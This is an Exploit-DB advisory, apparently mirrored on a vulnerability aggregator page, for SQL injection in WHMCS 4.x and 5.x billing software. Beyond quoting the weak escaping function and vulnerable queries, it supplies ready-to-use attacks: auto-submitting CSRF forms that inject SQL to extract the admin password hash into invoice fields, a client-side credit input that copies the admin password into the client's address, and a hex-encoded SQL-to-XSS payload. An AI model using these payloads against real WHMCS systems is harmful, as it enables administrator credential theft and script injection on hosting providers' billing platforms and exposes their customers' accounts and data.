WHMCS v4.x & v5.x - Multiple Web Vulnerabilities

vendor:

WHMCS

by:

ahwak2000

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: WHMCS

Affected Version From: 4.x

Affected Version To: 5.x

Patch Exists: NO

Related CWE: N/A

CPE: whmcs

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 7

2013

WHMCS v4.x & v5.x – Multiple Web Vulnerabilities

The script uses the db_escape_string() function to secure the input, however, the function only disables the ' and " characters, allowing attackers to bypass it if the query does not use '.

Mitigation:

Ensure that all user-supplied input is properly sanitized and validated before being used in a query.

Source

Exploit-DB raw data:

# Exploit Title: WHMCS v4.x & v5.x - Multiple Web Vulnerabilities
# Date: 2013-12-10
# Exploit Author: ahwak2000
# Vendor Homepage: http://whmcs.com/
# Version: 4.x , 5.x
# Tested on: win 7

+------------------+ 
|   Vulnerability  | 
+------------------+ 

File : includes\dbfunctions.php 

function db_escape_string($string) {

$string = mysql_real_escape_string($string);

return $string;

}
+------------------+ 
|   Description    | 
+------------------+ 

the script use this function to secure the input
the function disable only the ' and "
but we can bypass it  if the query don't use '


+------------+ 
|   Example  | 
+------------+ 

file : admin/invoices.php
[...]
$query = "UPDATE tblinvoices SET credit=credit-" . db_escape_string($removecredit) . " WHERE id='" . db_escape_string($id) . "'";
				full_query($query);
[...]

+------------+ 
|Exploitation| 
+------------+ 

CSRF to SQL And Bypass Token
<html>
    <body onload="submitForm()">
    <form name="myForm" id="myForm"
    action="http://localhost/whmcs5214/admin/invoices.php" method="post">
    <input type="hidden" name="token" value="ahwak2000">
    <input type="hidden" name="id" value="1">
    <input type="hidden" name="removecredit" value="-99,invoicenum=(select password from tbladmins limit 0,1)">
    <input type="hidden" name="action" value="edit">
    </form>
    <script type='text/javascript'>document.myForm.submit();</script>
</html>


OR


<html>
    <body onload="submitForm()">
    <form name="myForm" id="myForm"
    action="http://localhost/whmcs5214/admin/invoices.php" method="post">
    <input type="hidden" name="token" value="ahwak2000">
    <input type="hidden" name="id" value="1">
    <input type="hidden" name="addcredit" value="-99,invoicenum=(select password from tbladmins limit 0,1)">
    <input type="hidden" name="action" value="edit">
    </form>
    <script type='text/javascript'>document.myForm.submit();</script>
</html>

+------------+ 
|   Example 2| 
+------------+ 

file : includes/invoicefunctions.php

function applyCredit($invoiceid, $userid, $amount="", $noemail = "") {
	$query = "UPDATE tblinvoices SET credit=credit+" . db_escape_string($amount) . " WHERE id='" . mysql_real_escape_string($invoiceid) . "'";
	full_query($query);
	$query = "UPDATE tblclients SET credit=credit-" . db_escape_string($amount) . " WHERE id='" . mysql_real_escape_string($userid) . "'";
	full_query($query);
[...]
	}

}

File: /viewinvoice.php
if ($invoice->getData("status") == "Unpaid" && 0 < $creditbal) {
	
	$creditamount = $whmcs->get_req_var("creditamount");
	if ($whmcs->get_req_var("applycredit") && 0 < $creditamount) {
		check_token();

		if ($creditbal < $creditamount) {
			echo $_LANG['invoiceaddcreditovercredit'];
			exit();
		}
		else {
			if ($balance < $creditamount) {
				echo $_LANG['invoiceaddcreditoverbalance'];
				exit();
			}
			else {
			
				applyCredit($invoiceid, $invoice->getData("userid"), $creditamount);
			}
		}

		redir("id=" . $invoiceid);
	}

	$smartyvalues['manualapplycredit'] = true;
	$smartyvalues['totalcredit'] = formatCurrency($creditbal) . generate_token("form");

	if (!$creditamount) {
		$creditamount = ($balance <= $creditbal ? $balance : $creditbal);
	}

	$smartyvalues['creditamount'] = $creditamount;
}
+------------+ 
|Exploitation| 
+------------+ 
Go to http://127.0.0.1/whmcs5214/viewinvoice.php?id=1  <~ edit

if client have creditt and when he want to pay with credit 

in the "Enter the amount to apply:" put 0.01,Address2=(SELECT password from tbladmins limit 0,1)

the admin password will be in the client address


+-----------------+
sql => xss

SQL can convert to XSS 
Must Encode XSS to Hex
Example :

(SELECT 0x3C7363726970743E616C6572742827616877616B3230303027293B3C2F7363726970743E) //<script>alert('ahwak2000');</script>

SQL can be modified to work when all members and supervisors
(SELECT 0x3C7363726970743E616C6572742827616877616B3230303027293B3C2F7363726970743E)# <~

+-------------------+

./END